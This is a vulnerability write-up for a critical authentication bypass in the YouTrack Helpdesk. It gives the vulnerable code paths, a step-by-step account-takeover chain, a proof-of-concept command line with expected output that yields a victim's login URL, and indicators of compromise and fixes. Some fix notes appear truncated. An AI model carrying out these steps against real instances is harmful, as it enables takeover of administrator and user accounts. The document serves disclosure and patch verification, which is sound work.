
CVE-2026-86478 - JetBrains YouTrack Helpdesk unauthenticated account takeover via self-asserted email (CVSS 9.8)
Status: PoC reconstructed as part of vulnerability research; no public exploit existed at the time.
| Product | JetBrains YouTrack (self-hosted), Helpdesk component |
| Affected | All builds before 2025.3.161254 and 2026.1.14042 (2026.2 line ships with the fix) |
| Type | CWE-290 — Authentication Bypass by Spoofing |
| CVSS 3.1 | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Impact | Full account takeover of any user (including administrators) via Helpdesk reporter email spoofing |
| Published | 2026-09-07 (CNA: JetBrains) |
Helpdesk reporters are external clients without passwords. An account is created automatically when someone submits a ticket via the public form or by email. To access their tickets, the reporter receives a magic link with a signature:
GET /landing?target=reporterLanding&sign=<token>
→ frontend does POST /api/reporterLanding?sign=<token>
The token is issued by HelpdeskReporterServiceImpl.createLandingUrl:
val signature = entitySigningService.newSign(
reporter, issue, SignatureDuration.NOTIFICATIONS) // valid ~14 days
UriBuilder.fromUri(baseUrl).path("landing")
.queryParam("target", "reporterLanding")
.queryParam("sign", signature)
ReporterLandingResource (vulnerable build 2026.1.13874):
public XdUser resolveUser(ContainerRequestContext req) {
return entitySigningService.parseSign(sign, XdIssue.Companion).getUser();
}
@POST @CustomAuth
public RedirectResponse landing(@QueryParam("sign") String token) {
if (loggedIn.isGuest()) { /* redirect only */ }
XdUser merged = helpdeskReporterService.onReporterEmailVerified(loggedInUser);
// VULNERABILITY: Hub login URL is issued for the MERGED account unconditionally:
String uri = helpdeskReporterService.createHubAuthUrl(merged, issue);
return new RedirectResponse(uri, ..., true);
}
onReporterEmailVerified(reporter) (vulnerable version):
clones = users.where(u -> u.email == reporter.email
&& u.isEmailVerified == true)
.where(u -> u != reporter);
if (!reporter.isEmailVerified() && !clones.isEmpty()
&& reporter.getType() == REPORTER) {
return mergeReporter(reporter, findBestMatchingClone(clones));
}
The clone filter checks only email + verified flag, WITHOUT verifying account type
(confirmed by disassembling onReporterEmailVerified$lambda$0:
getEmail() eq getEmail() + isEmailVerified() eq const). A "clone" can be
a regular user or an administrator whose email matches the reporter's.
createHubAuthUrl issues an interactive Hub invite-login URL
(oauth2/interactive/invite/{token}, token from createBypassRestoreTokenForUser)
— opening it in a browser grants a session for the specified account.
| Step | Action | Details |
|---|---|---|
| 1 | Foothold (no account) | POST /api/feedbackForms/{uuid}/submit with the attacker's own email — getOrCreateReporterFromEmail creates a reporter (unverified, type REPORTER) |
| 2 | Reporter session | The attacker extracts the magic link (sign, valid 14 days) from the confirmation email and opens it — browser is authenticated as their reporter |
| 3 | Self-asserted email | The reporter changes their email to the victim's address via the self-service profile; no ownership verification is required; emailVerified stays false |
| 4 | Takeover | Re-opening the same magic link: onReporterEmailVerified sees an unverified reporter with the victim's email → merges into the victim's account → createHubAuthUrl(victim) → login URL for the victim in the response → full access |
Result: attacker's session = victim's account (any verified user, including administrators).
ReporterLandingResource.landing():
signedUser), not from the sessioncreateHubAuthUrl only for REPORTER-type accounts; others get a plain redirectmerged.setEmailVerified(true) before loginnewEmailBoundSign / parseEmailBoundSign — changing the email invalidates the magic linkHelpdeskReporterServiceImpl:
getOrCreateReporterFromEmail prefers reporters with a verified email when multiple existonReporterEmailVerified rewritten via findMergeTarget (same merge semantics, but login is restricted at the resource level)poc_cve_2026_86478.py (stdlib-only). Only for instances you own or have
explicit written permission to test.
Implements steps 1–4: anonymous form submission → reporter session via magic link →
email change to the victim's address (YouTrack/Hub profile REST) → re-opening the
same link → obtaining the victim's login URL. The --login flag additionally
follows it and proves the session via GET /api/me.
python poc_cve_2026_86478.py --url https://yt.lab.local/ \
--form-uuid <public form UUID> \
--attacker-email [email protected] \
--magic-link "https://yt.lab.local/landing?target=reporterLanding&sign=<from email>" \
--victim-email [email protected] \
--i-am-authorized
Notes:
--captcha-tokenExpected output on a vulnerable instance:
[*] Fingerprinting target
GET /api/me -> 200
[*] Step 1: anonymous helpdesk form submission (self-asserted email)
POST /api/feedbackForms/.../submit -> 200
[*] Step 2: authenticating as the reporter via the magic link
POST /api/reporterLanding -> 200
[*] Step 3: self-asserting the victim's email on the reporter profile
profile email now: [email protected]
[*] Step 4: re-opening the same magic link (merge + takeover URL)
POST /api/reporterLanding -> 200
[+] VULNERABLE: interactive login URL for the victim account:
https://yt.lab.local/hub/oauth2/interactive/invite/abc123...
Opening this URL in a browser establishes an authenticated
session as the merged account (CWE-290).
Indicators of compromise:
POST /api/reporterLanding?sign=... from reporter accounts followed by an email changeMerging reporters with email (...), Merged reporter from ... to ...Mitigation:
/api/reporterLanding behind an auth gatewayThis material is intended for vulnerability research and patch verification on instances you own or are authorized to test. Use against systems without the owner's permission is illegal.